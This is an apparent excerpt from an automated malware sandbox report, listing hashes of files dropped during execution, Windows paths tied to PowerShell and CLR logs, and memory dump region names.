| MD5 | 1ec2aa05e274896088c5f4e569016b8c |
| SHA1 | 9a593a1cd60c30955dfcc61fb7516126127c8176 |
| SHA256 | caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370 |
| SHA512 | 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | b0976ba964f2633d065cf03f23a6dd14 |
| SHA1 | 36f23d6d18aa038700418322468fc2f98163d5b9 |
| SHA256 | f9e76616a8ca93cdaa573e3865e97b2571b54b0e4af93a4971a3a494a9f5883a |
| SHA512 | 03a986630a745ab53a8b45a47a144bc6439b7ee67b30cf4873d189e567f753f8ba6d2e59cb0f98788dc6d156e9ee8c7d08a0287ed8470cb2eea8b250404b25be |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 56efdb5a0f10b5eece165de4f8c9d799 |
| SHA1 | fa5de7ca343b018c3bfeab692545eb544c244e16 |
| SHA256 | 6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108 |
| SHA512 | 91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc |
memory/3980-299-0x000001E7E5986000-0x000001E7E5988000-memory.dmp
memory/388-300-0x00000000008D0000-0x00000000008D1000-memory.dmp
memory/388-302-0x0000000005250000-0x0000000005251000-memory.dmp
memory/388-303-0x0000000005240000-0x0000000005245000-memory.dmp
memory/388-304-0x0000000005C10000-0x0000000005C11000-memory.dmp
memory/3716-318-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-319-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-320-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-321-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp